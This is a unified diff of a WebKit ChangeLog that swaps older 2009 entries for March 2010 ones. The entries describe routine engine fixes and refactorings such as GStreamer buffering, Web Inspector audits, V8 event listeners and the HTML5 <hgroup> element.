+2010-03-09  Gustavo Noronha Silva  <gustavo.noronha@collabora.co.uk>
 
-2009-10-01  Beth Dakin  <bdakin@apple.com>
+        Unreviewed build fix (only exposed by make distcheck). The
+        SharedWorkers files are not built, they need to be distributed.
 
-        Rubber-stamped by Sam Weinig.
+        * GNUmakefile.am:
 
-        At bad merge at some point in the development of my patch must have 
-        put TextRenderMode.h in a weird spot in the xcodeproj. Moving it 
-        back where it belongs!
+2010-03-09  Gustavo Noronha Silva  <gustavo.noronha@collabora.co.uk>
 
-        * WebCore.xcodeproj/project.pbxproj:
+        Reviewed by Dirk Schulze.
 
-2009-09-30  Adam Barth  <abarth@webkit.org>
+        [GStreamer] Buffering logic is not correct, and does not work very well
+        https://bugs.webkit.org/show_bug.cgi?id=35706
 
-        Reviewed by Darin Adler.
+        Fix buffering to match GStreamer expectancies regarding the
+        pipeline state, so that videos which really need buffering to play
+        correctly also work, while maintaining the convenience of
+        on-disk-buffering. This required a bit of shuffling of state
+        change handling.
 
-        Remove FrameLoader::schedule* APIs
-        https://bugs.webkit.org/show_bug.cgi?id=29950
+        No behaviour change expected.
 
-        Change clients of FrameLoader::schedule* to call redirectScheduler
-        directly.
+        * platform/graphics/gstreamer/MediaPlayerPrivateGStreamer.cpp:
+        (WebCore::MediaPlayerPrivate::MediaPlayerPrivate):
+        (WebCore::MediaPlayerPrivate::processBufferingStats):
+        (WebCore::MediaPlayerPrivate::fillTimerFired):
+        (WebCore::MediaPlayerPrivate::updateStates):
+        * platform/graphics/gstreamer/MediaPlayerPrivateGStreamer.h:
 
-        No behavior change.
+2010-03-09  Gustavo Noronha Silva  <gustavo.noronha@collabora.co.uk>
 
-        * bindings/js/JSDOMWindowCustom.cpp:
-        (WebCore::JSDOMWindow::setLocation):
-        (WebCore::createWindow):
-        (WebCore::JSDOMWindow::open):
-        * bindings/js/JSDocumentCustom.cpp:
-        (WebCore::JSDocument::setLocation):
-        * bindings/js/JSLocationCustom.cpp:
-        (WebCore::navigateIfAllowed):
-        (WebCore::JSLocation::reload):
-        * bindings/v8/V8Utilities.cpp:
-        (WebCore::navigateIfAllowed):
-        * bindings/v8/custom/V8DOMWindowCustom.cpp:
-        (WebCore::createWindow):
-        (WebCore::CALLBACK_FUNC_DECL):
-        * bindings/v8/custom/V8LocationCustom.cpp:
-        (WebCore::CALLBACK_FUNC_DECL):
-        * dom/Document.cpp:
-        (WebCore::Document::implicitClose):
-        (WebCore::Document::processHttpEquiv):
-        * html/HTMLTokenizer.cpp:
-        (WebCore::HTMLTokenizer::write):
-        * loader/FrameLoader.cpp:
-        (WebCore::FrameLoader::requestFrame):
-        (WebCore::FrameLoader::submitForm):
-        (WebCore::FrameLoader::receivedFirstData):
-        * loader/FrameLoader.h:
-        * loader/appcache/ApplicationCacheGroup.cpp:
-        (WebCore::ApplicationCacheGroup::selectCache):
-        * page/History.cpp:
-        (WebCore::History::back):
-        (WebCore::History::forward):
-        (WebCore::History::go):
+        Reviewed by Dirk Schulze.
 
-2009-10-01  Beth Dakin  <bdakin@apple.com>
+        [GStreamer] Buffering logic is not correct, and does not work very well
+        https://bugs.webkit.org/show_bug.cgi?id=35706
 
-        Just removing a comment I accidentally committed earlier. 
+        Do not call pause(), but set the GStreamer state directly. This is
+        just a GStreamer implementation detail, and this will avoid having
+        side effects in case we change the pause implementation in the
+        future.
 
-        * platform/graphics/mac/SimpleFontDataMac.mm:
-        (WebCore::SimpleFontData::getCFStringAttributes):
+        * platform/graphics/gstreamer/MediaPlayerPrivateGStreamer.cpp:
+        (WebCore::MediaPlayerPrivate::load):
 
-2009-09-30  Jeremy Orlow  <jorlow@chromium.org>
+2010-03-09  Chris Fleizach  <cfleizach@apple.com>
 
         Reviewed by Darin Adler.
 
-        Clean up use of const and mutable in StorageMap
-        https://bugs.webkit.org/show_bug.cgi?id=29933
-
-        What's the point of having every single member variable be mutable and nearly
-        every method be const?  Let's clean it up.
-
-        * storage/StorageMap.cpp:
-        (WebCore::StorageMap::setIteratorToIndex):
-        (WebCore::StorageMap::key):
-        (WebCore::StorageMap::importItem):
-        * storage/StorageMap.h:
-
-2009-10-01  Beth Dakin  <bdakin@apple.com>
-
-        Reviewed by Dave Hyatt.
-
-        Fix for <rdar://problem/6934421> Support CSS for Text Kerning and 
-        ligature
-        -and corresponding-
-        https://bugs.webkit.org/show_bug.cgi?id=6136
-
-        This patch makes the SVG CSS property text-rendering work with any 
-        HTML, much like it does in Firefox. It accepts four possible input 
-        values: auto, optimizeSpeed, optimizeLegibility, and 
-        geometricPrecision. Right now, in this implementation, here is what 
-        those values correspond to:
-
-        auto = optimizeSpeed = what we normally when the value's not set
-        optimizeLegibility = geometricPrecision = ligatures kerning
-
-        Add new file TextRenderingMode.h to the project files.
-        * WebCore.vcproj/WebCore.vcproj:
-        * WebCore.xcodeproj/project.pbxproj:
-
-        CSS support for the new CSSPropertyTextRendering
-        * css/CSSComputedStyleDeclaration.cpp:
-        (WebCore::):
-        (WebCore::CSSComputedStyleDeclaration::getPropertyCSSValue):
-        * css/CSSParser.cpp:
-        (WebCore::CSSParser::parseValue):
-        * css/CSSPrimitiveValueMappings.h:
-        (WebCore::CSSPrimitiveValue::CSSPrimitiveValue):
-        (WebCore::CSSPrimitiveValue::operator TextRenderingMode):
-        * css/CSSPropertyNames.in:
-        * css/CSSStyleSelector.cpp:
-        (WebCore::CSSStyleSelector::applyProperty):
-        * css/CSSValueKeywords.in:
-
-        All the old SVG CSS support for this property can go away. When 
-        it's used in SVG, it will just fall into the normal HTML case.
-        * css/SVGCSSComputedStyleDeclaration.cpp:
-        (WebCore::CSSComputedStyleDeclaration::getSVGPropertyCSSValue):
-        * css/SVGCSSParser.cpp:
-        (WebCore::CSSParser::parseSVGValue):
-        * css/SVGCSSPropertyNames.in:
-        * css/SVGCSSStyleSelector.cpp:
-        (WebCore::CSSStyleSelector::applySVGProperty):
-        * css/SVGCSSValueKeywords.in:
-
-        FontDescription stores the m_textRendering bit.
-        * platform/graphics/FontDescription.h:
-        (WebCore::FontDescription::FontDescription):
-        (WebCore::FontDescription::textRenderingMode):
-        (WebCore::FontDescription::setTextRenderingMode):
-        (WebCore::FontDescription::operator==):
-
-        We want to fall into the complex text rendering code path if 
-        kerning and ligatures have been enabled with this property.
-        * platform/graphics/FontFastPath.cpp:
-        (WebCore::Font::canUseGlyphCache):
-
-        Now takes a TextRenderingMode as a parameter.
-        * platform/graphics/SimpleFontData.h:
+        AX: hit testing a list box doesn't work anymore
+        https://bugs.webkit.org/show_bug.cgi?id=35893
 
-        New header for the enum.
-        * platform/graphics/TextRenderingMode.h: Added.
-        (WebCore::):
+        Since <option> elements don't have renderers, their hit testing needs
+        to be handled with a special case.
 
-        getCFStringAttributes() now takes a TextRenderingMode as an 
-        attribute.
-        * platform/graphics/mac/CoreTextController.cpp:
-        (WebCore::CoreTextController::collectCoreTextRunsForCharacters):
-
-        Enable kerning and ligatures whenever the TextRenderingMode is 
-        OptimizeLegibility or GeometricPrecision
-        * platform/graphics/mac/FontMacATSUI.mm:
-        (WebCore::disableLigatures):
-        (WebCore::initializeATSUStyle):
-        (WebCore::ATSULayoutParameters::initialize):
-        * platform/graphics/mac/SimpleFontDataMac.mm:
-        (WebCore::SimpleFontData::getCFStringAttributes):
+        Test: platform/mac/accessibility/listbox-hit-test.html
 
-        More SVG CSS stuff that isn't needed anymore since SVG will use the 
-        new HTML CSS implementation.
-        * rendering/style/SVGRenderStyle.h:
-        (WebCore::SVGRenderStyle::InheritedFlags::operator==):
-        (WebCore::SVGRenderStyle::setBitDefaults):
-        * rendering/style/SVGRenderStyleDefs.h:
+        * accessibility/AccessibilityRenderObject.cpp:
+        (WebCore::AccessibilityRenderObject::ariaIsHidden):
+        (WebCore::AccessibilityRenderObject::doAccessibilityHitTest):
 
-2009-10-01  Yury Semikhatsky  <yurys@chromium.org>
+2010-03-09  Pavel Feldman  <pfeldman@chromium.org>
 
         Reviewed by Timothy Hatcher.
 
-        Use isClosure property of scope proxy to decide whether the
-        scope is a closure.
-
-        https://bugs.webkit.org/show_bug.cgi?id=29965
-
-        * inspector/front-end/ScopeChainSidebarPane.js:
-        (WebInspector.ScopeChainSidebarPane.prototype.update):
-
-2009-10-01  Simon Fraser  <simon.fraser@apple.com>
-
-        Reviewed by Dave Hyatt.
-
-        Odd color transitions on anchors with transition-property: all
-        https://bugs.webkit.org/show_bug.cgi?id=29911
-
-        When transitioning maybe-invalid colors, if the source and destination
-        color are both invalid, then don't animate.
-        
-        This fixes an issue where a child element of an element running a color
-        transition, with -webkit-transition-property:all, would show a color change.
-        This happened because the "maybe invalid color" logic copied the color style
-        into -webkit-text-fill-color for both endpoints, causing -webkit-text-fill-color
-        to animate while the transition ran, and to then to disappear when the transition
-        finished.
-        
-        Test: transitions/color-transition-all.html
-
-        * page/animation/AnimationBase.cpp:
-        (WebCore::PropertyWrapperMaybeInvalidColor::equals):
-        (WebCore::PropertyWrapperMaybeInvalidColor::blend):
-
-2009-10-01  Victor Wang  <victorw@chromium.org>
-
-        Reviewed by Oliver Hunt.
-
-        Allow dragging a node who has child nodes.
-
-        https://bugs.webkit.org/show_bug.cgi?id=28632
-
-        Test: fast/events/drag-parent-node.html
-
-        * page/EventHandler.cpp:
-        (WebCore::EventHandler::shouldDragAutoNode):
-
-2009-10-01  Philippe Normand  <pnormand@igalia.com>
-
-        Reviewed by Gustavo Noronha.
-
-        [GTK] media player: better mute support
-        https://bugs.webkit.org/show_bug.cgi?id=29960
-
-        Handle volume and mute state with the two corresponding properties
-        of playbin2.
-
-        * platform/graphics/gtk/MediaPlayerPrivateGStreamer.cpp:
-        (WebCore::MediaPlayerPrivate::setMuted):
-        (WebCore::MediaPlayerPrivate::setVolume):
-
-2009-10-01  Philippe Normand  <pnormand@igalia.com>
-
-        Reviewed by Gustavo Noronha.
-
-        [GTK] video sink pad template colorspace is wrong
-        https://bugs.webkit.org/show_bug.cgi?id=29953
-
-        Set sink pad template colorspace depending on byte order.
-
-        * platform/graphics/gtk/VideoSinkGStreamer.cpp:
-        (webkit_video_sink_idle_func):
-
-2009-10-01  Vitaly Repeshko  <vitalyr@chromium.org>
-
-        Reviewed by Dimitri Glazkov.
-
-        [V8] Refactored V8 event listeners:
-        (This change should fix http://crbug.com/21079 and
-        https://bugs.webkit.org/show_bug.cgi?id=29093.)
-         o All listeners use weak handles to JS objects to avoid creating
-           cycles and leaking memory.
-         o "Object" variants of listeners removed.
-         o All event accessor callbacks are generated.
-         o Custom event accessors removed.
-         o All wrappers have hidden dependencies on their listeners to
-           prevent listeners from being collected.
-         o All variats of getEventListener function grouped in V8DOMWrapper.
-         o Pointers to C+EventListener wrappers are stored in JS objects
-           instead of event listener lists.
-        https://bugs.webkit.org/show_bug.cgi?id=29825
-
-        * WebCore.gypi: Removed "Object" listeners.
-        * bindings/scripts/CodeGeneratorV8.pm: Now handles event accessors.
-        * bindings/v8/DOMObjectsInclude.h:
-
-        V8AbstractEventListener manages weak JS handle:
-        * bindings/v8/V8AbstractEventListener.cpp:
-        (WebCore::weakEventListenerCallback):
-        (WebCore::V8AbstractEventListener::V8AbstractEventListener):
-        (WebCore::V8AbstractEventListener::~V8AbstractEventListener):
-        (WebCore::V8AbstractEventListener::handleEvent):
-        (WebCore::V8AbstractEventListener::disposeListenerObject):
-        (WebCore::V8AbstractEventListener::setListenerObject):
-        * bindings/v8/V8AbstractEventListener.h:
-        (WebCore::V8AbstractEventListener::cast):
-        (WebCore::V8AbstractEventListener::isLazy):
-        (WebCore::V8AbstractEventListener::getListenerObject):
-        (WebCore::V8AbstractEventListener::getExistingListenerObject):
-        (WebCore::V8AbstractEventListener::hasExistingListenerObject):
-        (WebCore::V8AbstractEventListener::disconnectFrame):
-        (WebCore::V8AbstractEventListener::disconnected):
-        (WebCore::V8AbstractEventListener::prepareListenerObject):
-        (WebCore::V8AbstractEventListener::lineNumber):
-        (WebCore::V8AbstractEventListener::virtualisAttribute):
-
-        Grouped getEventListener functions:
-        * bindings/v8/V8DOMWrapper.cpp:
-        (WebCore::V8DOMWrapper::getTemplate):
-        (WebCore::V8DOMWrapper::getEventListener):
-        * bindings/v8/V8DOMWrapper.h:
-
-        Removed most event listener objects bookkeeping:
-        * bindings/v8/V8EventListenerList.cpp:
-        * bindings/v8/V8EventListenerList.h:
-        (WebCore::V8EventListenerList::findWrapper):
-        (WebCore::V8EventListenerList::clearWrapper):
-        (WebCore::V8EventListenerList::doFindWrapper):
-        (WebCore::V8EventListenerList::getHiddenProperty):
-        (WebCore::V8EventListenerList::findOrCreateWrapper):
-
-        Added hidden properties for storing EventListener wrappers:
-        * bindings/v8/V8HiddenPropertyName.cpp:
-        (WebCore::V8HiddenPropertyName::listener):
-        (WebCore::V8HiddenPropertyName::attributeListener):
-        * bindings/v8/V8HiddenPropertyName.h:
-
-        * bindings/v8/V8LazyEventListener.cpp:
-        (WebCore::V8LazyEventListener::V8LazyEventListener):
-        (WebCore::V8LazyEventListener::callListenerFunction):
-        (WebCore::V8LazyEventListener::prepareListenerObject):
-        * bindings/v8/V8LazyEventListener.h:
-        (WebCore::V8LazyEventListener::isLazy):
-        * bindings/v8/V8ObjectEventListener.cpp: Removed.
-        * bindings/v8/V8ObjectEventListener.h: Removed.
-        * bindings/v8/V8Proxy.cpp:
-        (WebCore::V8Proxy::disconnectFrame):
-        (WebCore::V8Proxy::disconnectEventListeners):
-        * bindings/v8/V8Proxy.h:
-        * bindings/v8/V8WorkerContextEventListener.cpp:
-        (WebCore::V8WorkerContextEventListener::reportError):
-        (WebCore::V8WorkerContextEventListener::getReceiverObject):
-        * bindings/v8/V8WorkerContextEventListener.h:
-        * bindings/v8/V8WorkerContextObjectEventListener.cpp: Removed.
-        * bindings/v8/V8WorkerContextObjectEventListener.h: Removed.
-        * bindings/v8/WorkerContextExecutionProxy.cpp:
-        (WebCore::WorkerContextExecutionProxy::dispose):
-        (WebCore::WorkerContextExecutionProxy::initContextIfNeeded):
-        (WebCore::WorkerContextExecutionProxy::findOrCreateEventListener):
-        * bindings/v8/WorkerContextExecutionProxy.h:
-        * bindings/v8/custom/V8AbstractWorkerCustom.cpp:
-        (WebCore::CALLBACK_FUNC_DECL):
-        * bindings/v8/custom/V8CustomBinding.h:
-        * bindings/v8/custom/V8CustomEventListener.cpp:
-        (WebCore::V8EventListener::V8EventListener):
-        (WebCore::V8EventListener::getListenerFunction):
-        (WebCore::V8EventListener::callListenerFunction):
-        * bindings/v8/custom/V8CustomEventListener.h:
-        * bindings/v8/custom/V8DOMApplicationCacheCustom.cpp:
-        (WebCore::CALLBACK_FUNC_DECL):
-        * bindings/v8/custom/V8DOMWindowCustom.cpp:
-        (WebCore::CALLBACK_FUNC_DECL):
-        * bindings/v8/custom/V8DedicatedWorkerContextCustom.cpp:
-        * bindings/v8/custom/V8MessagePortCustom.cpp:
-        (WebCore::getEventListener):
-        (WebCore::CALLBACK_FUNC_DECL):
-        * bindings/v8/custom/V8NodeCustom.cpp:
-        (WebCore::CALLBACK_FUNC_DECL):
-        * bindings/v8/custom/V8NotificationCenterCustom.cpp:
-        (WebCore::CALLBACK_FUNC_DECL):
-        * bindings/v8/custom/V8SVGElementInstanceCustom.cpp:
-        (WebCore::CALLBACK_FUNC_DECL):
-        * bindings/v8/custom/V8WebSocketCustom.cpp:
-        * bindings/v8/custom/V8WorkerContextCustom.cpp:
-        (WebCore::CALLBACK_FUNC_DECL):
-        * bindings/v8/custom/V8WorkerCustom.cpp:
-        * bindings/v8/custom/V8XMLHttpRequestConstructor.cpp:
-        * bindings/v8/custom/V8XMLHttpRequestCustom.cpp:
-        (WebCore::CALLBACK_FUNC_DECL):
-        * bindings/v8/custom/V8XMLHttpRequestUploadCustom.cpp:
-
-2009-10-01  Alexis Menard  <alexis.menard@nokia.com>
-
-        Reviewed by Tor Arne Vestbø.
-
-        Rename QWebGraphicsItem to QGraphicsWebView
-
-        * WebCore.pro:
-
-2009-10-01  Dumitru Daniliuc  <dumi@chromium.org>
-
-        Reviewed by Dimitri Glazkov.
-
-        Read-only transactions do not change file sizes and therefore
-        should not trigger quota updates.
-
-        https://bugs.webkit.org/show_bug.cgi?id=29945
-
-        * storage/SQLTransaction.cpp:
-        (WebCore::SQLTransaction::openTransactionAndPreflight):
-        (WebCore::SQLTransaction::runStatements):
-
-2009-09-30  Timothy Hatcher  <timothy@apple.com>
+        Web Inspector: Refactor Audits panel presentation layer.
+        This change removes unnecessary complexity:
+          - Audit scores were not used
+          - Audit rule parameters are passed as rule constructor arguments
+          - View management aligned with the rest of the front-end
+          - Single TreeOutline is used for category results (no need to create sections for those)
+          - Rules code beautified and simplified where possible
+          - Some UI improvements applied (see attached screenshot)
+
+        https://bugs.webkit.org/show_bug.cgi?id=35860
+
+        * inspector/front-end/AuditCategories.js:
+        (WebInspector.AuditCategories.PagePerformance.prototype.initialize):
+        (WebInspector.AuditCategories.NetworkUtilization.prototype.initialize):
+        * inspector/front-end/AuditResultView.js:
+        (WebInspector.AuditResultView):
+        (WebInspector.AuditCategoryResultPane):
+        (WebInspector.AuditCategoryResultPane.prototype._appendResult):
+        * inspector/front-end/AuditRules.js:
+        (WebInspector.AuditRules.GzipRule.prototype.doRun):
+        (WebInspector.AuditRules.CombineExternalResourcesRule):
+        (WebInspector.AuditRules.CombineExternalResourcesRule.prototype.doRun):
+        (WebInspector.AuditRules.CombineJsResourcesRule):
+        (WebInspector.AuditRules.CombineCssResourcesRule):
+        (WebInspector.AuditRules.MinimizeDnsLookupsRule):
+        (WebInspector.AuditRules.MinimizeDnsLookupsRule.prototype.doRun):
+        (WebInspector.AuditRules.ParallelizeDownloadRule):
+        (WebInspector.AuditRules.ParallelizeDownloadRule.prototype.doRun):
+        (WebInspector.AuditRules.UnusedCssRule):
+        (WebInspector.AuditRules.UnusedCssRule.prototype.doRun.evalCallback):
+        (WebInspector.AuditRules.UnusedCssRule.prototype.doRun.routine):
+        (WebInspector.AuditRules.UnusedCssRule.prototype.doRun):
+        (WebInspector.AuditRules.CacheControlRule):
+        (WebInspector.AuditRules.CacheControlRule.prototype.doRun):
+        (WebInspector.AuditRules.CacheControlRule.prototype.execCheck):
+        (WebInspector.AuditRules.BrowserCacheControlRule):
+        (WebInspector.AuditRules.BrowserCacheControlRule.prototype.handleNonCacheableResources):
+        (WebInspector.AuditRules.BrowserCacheControlRule.prototype.runChecks):
+        (WebInspector.AuditRules.ProxyCacheControlRule):
+        (WebInspector.AuditRules.ProxyCacheControlRule.prototype.runChecks):
+        (WebInspector.AuditRules.ImageDimensionsRule):
+        (WebInspector.AuditRules.ImageDimensionsRule.prototype.doRun):
+        (WebInspector.AuditRules.CssInHeadRule):
+        (WebInspector.AuditRules.CssInHeadRule.prototype.doRun):
+        (WebInspector.AuditRules.CssInHeadRule.prototype.doRun.routine):
+        (WebInspector.AuditRules.StylesScriptsOrderRule):
+        (WebInspector.AuditRules.StylesScriptsOrderRule.prototype.doRun):
+        (WebInspector.AuditRules.StylesScriptsOrderRule.prototype.doRun.routine):
+        (WebInspector.AuditRules.CookieRuleBase):
+        (WebInspector.AuditRules.CookieRuleBase.prototype.doRun.resultCallback):
+        (WebInspector.AuditRules.CookieRuleBase.prototype.doRun):
+        (WebInspector.AuditRules.CookieSizeRule):
+        (WebInspector.AuditRules.CookieSizeRule.prototype.processCookies):
+        (WebInspector.AuditRules.StaticCookielessRule):
+        (WebInspector.AuditRules.StaticCookielessRule.prototype.processCookies):
+        * inspector/front-end/AuditsPanel.js:
+        (WebInspector.AuditsPanel):
+        (WebInspector.AuditsPanel.prototype._executeAudit.ruleResultReadyCallback):
+        (WebInspector.AuditsPanel.prototype._executeAudit):
+        (WebInspector.AuditsPanel.prototype._reloadResources):
+        (WebInspector.AuditsPanel.prototype._didMainResourceLoad):
+        (WebInspector.AuditsPanel.prototype.showResults):
+        (WebInspector.AuditsPanel.prototype.showLauncherView):
+        (WebInspector.AuditsPanel.prototype.get visibleView):
+        (WebInspector.AuditsPanel.prototype.set visibleView):
+        (WebInspector.AuditsPanel.prototype.show):
+        (WebInspector.AuditsPanel.prototype._clearButtonClicked):
+        (WebInspector.AuditCategory.prototype.addRule):
+        (WebInspector.AuditRule):
+        (WebInspector.AuditRule.prototype.set severity):
+        (WebInspector.AuditRule.prototype.run):
+        (WebInspector.AuditRule.prototype.doRun):
+        (WebInspector.AuditCategoryResult):
+        (WebInspector.AuditCategoryResult.prototype.addRuleResult):
+        (WebInspector.AuditRuleResult):
+        (WebInspector.AuditRuleResult.prototype.addChild):
+        (WebInspector.AuditRuleResult.prototype.addURL):
+        (WebInspector.AuditRuleResult.prototype.addURLs):
+        (WebInspector.AuditRuleResult.prototype.addSnippet):
+        * inspector/front-end/Settings.js:
+        * inspector/front-end/audits.css:
+        * inspector/front-end/inspector.js:
+        (WebInspector._createPanels):
+        (WebInspector.documentKeyDown):
 
-        Fix list box scrolling by correctly overriding the scroll()
-        function on RenderBox.
+2010-03-09  Yury Semikhatsky  <yurys@chromium.org>
 
-        <rdar://problem/7255440> REGRESSION (r48683): Mousewheel scrolling
-        of listboxes is broken (29756)
+        Reviewed by Pavel Feldman.
+ 
+        When enable resource tracking state changes use the same method as
+        location.reload for reloading inspected page.
 
-        Reviewed by Dan Bernstein.
+        https://bugs.webkit.org/show_bug.cgi?id=35923
 
-        * rendering/RenderListBox.cpp:
-        (WebCore::RenderListBox::scroll):
-        * rendering/RenderListBox.h:
-        * rendering/RenderTextControlSingleLine.cpp:
-        (WebCore::RenderTextControlSingleLine::scroll):
-        * rendering/RenderTextControlSingleLine.h:
+        * inspector/InspectorBackend.cpp:
+        (WebCore::InspectorBackend::reloadPage):
+        * inspector/InspectorController.cpp:
+        (WebCore::InspectorController::enableResourceTracking):
 
-2009-10-01  Yury Semikhatsky  <yurys@chromium.org>
+2010-03-09  Pavel Feldman  <pfeldman@chromium.org>
 
         Reviewed by Timothy Hatcher.
 
-        Make a copy of listeners array before dispatching an event in
-        WebInspector.Object.prototype.dispatchEventToListeners. Otherwise if current
-        listener removes itself from the array next listener will be skipped.
+        Web Inspector: highlight text node containers while searching for node.
 
-        https://bugs.webkit.org/show_bug.cgi?id=29920
+        https://bugs.webkit.org/show_bug.cgi?id=35912
 
-        * inspector/front-end/Object.js:
-        (WebInspector.Object.prototype.dispatchEventToListeners): make a copy of listeners array before dispatching an event
+        * inspector/InspectorController.cpp:
+        (WebCore::InspectorController::mouseDidMoveOverElement):
 
-2009-10-01  Martin Robinson  <martin.james.robinson@gmail.com>
+2010-03-09  Philippe Normand  <pnormand@igalia.com>
 
-        Reviewed by Xan Lopez.
+        Reviewed by Gustavo Noronha Silva.
 
-        [GTK] GtkIMContext filtering interferes with DOM key events
-        https://bugs.webkit.org/show_bug.cgi?id=28733
+        [GStreamer] player code cleanups
+        https://bugs.webkit.org/show_bug.cgi?id=35868
 
-        Ensure that keyboard events filtered by the GtkIMContext still create
-        the proper DOM events.
+        Cleaned up the private instance variables of the player.
 
-        No tests added. Instead previously skipped tests have been enabled.
+        * platform/graphics/gstreamer/MediaPlayerPrivateGStreamer.cpp:
+        (WebCore::MediaPlayerPrivate::MediaPlayerPrivate):
+        (WebCore::MediaPlayerPrivate::fillTimerFired):
+        (WebCore::MediaPlayerPrivate::mediaLocationChanged):
+        * platform/graphics/gstreamer/MediaPlayerPrivateGStreamer.h:
 
-        * platform/gtk/KeyEventGtk.cpp:
-        (WebCore::keyIdentifierForGdkKeyCode):
-        (WebCore::singleCharacterString):
+2010-03-09  Philippe Normand  <pnormand@igalia.com>
 
-2009-10-01  Philippe Normand  <pnormand@igalia.com>
+        Reviewed by Gustavo Noronha Silva.
 
-        Reviewed by Xan Lopez.
+        [GStreamer] player code cleanups
+        https://bugs.webkit.org/show_bug.cgi?id=35868
 
-        [GTK] data: uri support in media player
-        https://bugs.webkit.org/show_bug.cgi?id=29842
-
-        New GStreamer element to handle data: uris. For now only base64
-        encoded data is supported. Decoded data is handed over to
-        giostreamsrc.
+        Splitted GOwnPtrGtk.{cpp,h} to GOwnPtr{Soup,GStreamer}.{cpp,h}.
 
         * GNUmakefile.am:
-        * platform/graphics/gtk/DataSourceGStreamer.cpp: Added.
-        (_do_init):
-        (webkit_data_src_base_init):
-        (webkit_data_src_class_init):
-        (webkit_data_src_reset):
-        (webkit_data_src_init):
-        (webkit_data_src_finalize):
-        (webkit_data_src_uri_get_type):
-        (webkit_data_src_uri_get_protocols):
-        (webkit_data_src_uri_get_uri):
-        (webkit_data_src_uri_set_uri):
-        (webkit_data_src_uri_handler_init):
-        * platform/graphics/gtk/DataSourceGStreamer.h: Added.
-        * platform/graphics/gtk/MediaPlayerPrivateGStreamer.cpp:
-        (WebCore::do_gst_init):
-        (WebCore::MediaPlayerPrivate::MediaPlayerPrivate):
-        (WebCore::MediaPlayerPrivate::mimeTypeCache):
-
-2009-09-30  Daniel Bates  <dbates@webkit.org>
-
-        Reviewed by Adam Barth.
-
-        https://bugs.webkit.org/show_bug.cgi?id=29944
-        
-        Reduces false positives in the XSSAuditor by explicitly allowing requests
-        that do not contain illegal URI characters.
-        
-        As a side effect of this change, the tests property-inject.html, 
-        property-escape-noquotes.html, and property-escape-noquotes-tab-slash-chars.html 
-        fail because these attacks do not contain any illegal URI characters and 
-        thus are now allowed by the XSSAuditor, where previously they weren't. A future
-        change may reinstate this functionality.
+        * platform/graphics/gstreamer/GOwnPtrGStreamer.cpp: Added.
+        (WTF::GstElement):
+        * platform/graphics/gstreamer/GOwnPtrGStreamer.h: Added.
+        * platform/graphics/gstreamer/MediaPlayerPrivateGStreamer.cpp:
+        * platform/gtk/GOwnPtrGtk.cpp: Removed.
+        * platform/gtk/GOwnPtrGtk.h: Removed.
+        * platform/network/soup/CookieJarSoup.cpp:
+        * platform/network/soup/DNSSoup.cpp:
+        * platform/network/soup/GOwnPtrSoup.cpp: Added.
+        (WTF::SoupURI):
+        * platform/network/soup/GOwnPtrSoup.h: Added.
+        * platform/network/soup/ResourceHandleSoup.cpp:
+        * platform/network/soup/ResourceRequestSoup.cpp:
 
-        Tests: http/tests/security/xssAuditor/script-tag-safe2.html
-               http/tests/security/xssAuditor/script-tag-safe3.html
+2010-03-09  Shinichiro Hamaji  <hamaji@chromium.org>
 
-        * page/XSSAuditor.cpp:
-        (WebCore::isIllegalURICharacter): Added method.
-        (WebCore::XSSAuditor::canEvaluate):
-        (WebCore::XSSAuditor::canCreateInlineEventListener):
-        (WebCore::XSSAuditor::findInRequest): Added parameter 
-        allowRequestIfNoIllegalURICharacters.
-        * page/XSSAuditor.h:
+        Reviewed by Eric Seidel.
 
-2009-09-30  Oliver Hunt  <oliver@apple.com>
+        [Chromium] Should remove paddings of Win/Linux chromium's buttons
+        https://bugs.webkit.org/show_bug.cgi?id=35629
 
-        Reviewed by Maciej Stachowiak.
+        No new tests, but we may need to rebaseline bunch of expectation
+        images in chromium's tree.
 
-        reproducible freeze and crash on closing form popup at bosch-home.nl
-        https://bugs.webkit.org/show_bug.cgi?id=28948
+        * rendering/RenderThemeChromiumSkia.cpp:
+        * rendering/RenderThemeChromiumSkia.h:
 
-        showModalDialog calls getDirect on what is actually a window shell,
-        so ends up not getting a value (since no value can ever be placed
-        directly on the shell), which leads to incorrect behaviour.
+2010-03-08  Kent Tamura  <tkent@chromium.org>
 
-        We use a manual test rather than automatic as it was not
-        possible to get a modal run loop to work inside DRT.
+        Reviewed by Adam Barth.
 
-        * bindings/js/JSDOMWindowCustom.cpp:
-        (WebCore::JSDOMWindow::showModalDialog):
-        * manual-tests/showModalDialog-returnValue.html: manual testcase.
+        Implement HTML5 <hgroup> element.
+        https://bugs.webkit.org/show_bug.cgi?id=33369
 
-2009-09-30  Kent Tamura  <tkent@chromium.org>
+        <hgroup> should behave the same as <nav>, <section>, <article>, and <aside>.
+        <hgroup> has no specific parsing rules.
 
-        Reviewed by Darin Adler.
+        Test: fast/html/hgroup-element.html
 
-        Adds ValidityState.tooLong support for <input> and <textarea>.
+        * css/html.css: Add hgroup as a block element.
+        * editing/htmlediting.cpp:
+        (WebCore::validBlockTag): Add hgroupTag.
+        * html/HTMLElement.cpp:
+        (WebCore::createTagPriorityMap): Returns 5 for hgroupTag.
+        (WebCore::blockTagList): Add hgroupTag.
+        * html/HTMLParser.cpp:
+        (WebCore::HTMLParser::getNode): Add hgroupTag.
+        * html/HTMLTagNames.in: Add hgroup.
 
-        Introduces tooLong() in HTMLFormControlElement and it always returns false.
-        HTMLInputElement and HTMLTextAreaElement overrides it and checks the text
-        length and maxLength.  tooLong() should work only for `dirty' values.
-        So, introduces m_isDirty flag for HTMLTextAreaElement, and
-        !m_data.value().isNull() works as a dirty flag for HTMLInputElement.
+2010-03-08  Tony Chang  <tony@chromium.org>
 
-        Renames parameter names of setMaxLength().
+        Reviewed by Adam Barth.
 
-        https://bugs.webkit.org/show_bug.cgi?id=27454
+        https://bugs.webkit.org/show_bug.cgi?id=32131
+        Crash when inserting an ordered list.
 
-        Tests: fast/forms/ValidityState-tooLong-input.html
-               fast/forms/ValidityState-tooLong-textarea.html
+        Test: editing/execCommand/insert-ordered-list.html
 
-        * html/HTMLFormControlElement.h:
-        (WebCore::HTMLFormControlElement::tooLong):
-        * html/HTMLInputElement.cpp:
-        (WebCore::HTMLInputElement::tooLong):
-        (WebCore::HTMLInputElement::setMaxLength):
-        * html/HTMLInputElement.h:
-        * html/HTMLTextAreaElement.cpp:
-        (WebCore::HTMLTextAreaElement::HTMLTextAreaElement):
-        (WebCore::HTMLTextAreaElement::reset):
-        (WebCore::HTMLTextAreaElement::updateValue):
-        (WebCore::HTMLTextAreaElement::setMaxLength):
-        (WebCore::HTMLTextAreaElement::tooLong):
-        * html/HTMLTextAreaElement.h:
